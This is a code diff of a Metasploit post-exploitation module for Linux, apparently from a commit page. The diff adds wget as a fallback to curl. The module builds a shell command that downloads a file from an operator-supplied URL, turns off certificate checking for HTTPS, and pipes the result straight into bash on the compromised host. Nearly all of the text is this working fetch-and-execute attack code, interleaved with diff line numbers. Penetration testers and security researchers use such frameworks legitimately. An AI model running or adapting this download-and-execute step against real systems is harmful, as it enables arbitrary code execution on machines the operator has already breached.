@@ -18,12 +18,13 @@ class Metasploit3 < Msf::Post
18
18
include Msf ::Post ::File
19
19
include Msf ::Post ::Linux ::System
20
20
21
-
22
21
def initialize ( info = { } )
23
22
super ( update_info ( info ,
24
- 'Name' => 'Linux Download Exec ' ,
23
+ 'Name' => 'Linux Manage Download and Exececute ' ,
25
24
'Description' => %q{
26
- This module downloads and runs a file with bash. It uses curl and bash from the PATH.
25
+ This module downloads and runs a file with bash. It first tries to uses curl as
26
+ its HTTP client and then wget if it's not found. Bash found in the PATH is used to
27
+ execute the file.
27
28
} ,
28
29
'License' => MSF_LICENSE ,
29
30
'Author' =>
@@ -35,14 +36,23 @@ def initialize(info={})
35
36
) )
36
37
37
38
register_options (
38
- [
39
- OptString . new ( 'URL' , [ true , 'Full URL of file to download.' ] )
40
- ] , self . class )
39
+ [
40
+ OptString . new ( 'URL' , [ true , 'Full URL of file to download.' ] )
41
+ ] , self . class )
41
42
42
43
end
43
44
45
+ def cmd_exec_vprint ( cmd )
46
+ vprint_status ( "Executing: #{ cmd } " )
47
+ output = cmd_exec ( cmd )
48
+ if output . length > 0
49
+ vprint_status ( "#{ output } " )
50
+ end
51
+ return
52
+ end
53
+
44
54
def exists_exe? ( exe )
45
- path = expand_path ( "$ PATH" )
55
+ path = expand_path ( ENV [ ' PATH' ] )
46
56
if path . nil? or path . empty?
47
57
return false
48
58
end
@@ -54,28 +64,40 @@ def exists_exe?(exe)
54
64
return false
55
65
end
56
66
57
- def run
67
+ def search_http_client
58
68
print_status ( "Checking if curl exists in the path..." )
59
69
if exists_exe? ( "curl" )
60
- print_good ( "curl available, going ahead..." )
61
- else
62
- print_warning ( "curl not available on the $PATH, aborting..." )
70
+ print_good ( "curl available, using it" )
71
+ @stdout_option = ""
72
+ @http_client = "curl"
73
+ @ssl_option = "-k"
63
74
return
64
75
end
65
76
66
- if datastore [ 'URL' ] . match ( /https/ )
67
- cmd_exec_vprint ( "`which curl` -k #{ datastore [ 'URL' ] } 2>/dev/null | `which bash` " )
68
- else
69
- cmd_exec_vprint ( "`which curl` #{ datastore [ 'URL' ] } 2>/dev/null | `which bash` " )
77
+ print_status ( "Checking if wget exists in the path..." )
78
+ if exists_exe? ( "wget" )
79
+ print_good ( "wget available, using it" )
80
+ @http_client = "wget"
81
+ @stdout_option = "-O-"
82
+ @ssl_option = "--no-check-certificate"
83
+ return
70
84
end
85
+
71
86
end
72
87
73
- def cmd_exec_vprint ( cmd )
74
- vprint_status ( "Executing: #{ cmd } " )
75
- output = cmd_exec ( cmd )
76
- if output . length > 0
77
- vprint_status ( "#{ output } " )
88
+ def run
89
+ search_http_client
90
+
91
+ if not @http_client
92
+ print_warning ( "neither curl nor wget available in the $PATH, aborting..." )
93
+ return
94
+ end
95
+
96
+ if datastore [ 'URL' ] . match ( /https/ )
97
+ cmd_exec_vprint ( "`which #{ @http_client } ` #{ @stdout_option } #{ @ssl_option } #{ datastore [ 'URL' ] } 2>/dev/null | `which bash` " )
98
+ else
99
+ cmd_exec_vprint ( "`which #{ @http_client } ` #{ @stdout_option } #{ datastore [ 'URL' ] } 2>/dev/null | `which bash` " )
78
100
end
79
- return
80
101
end
102
+
81
103
end
0 commit comments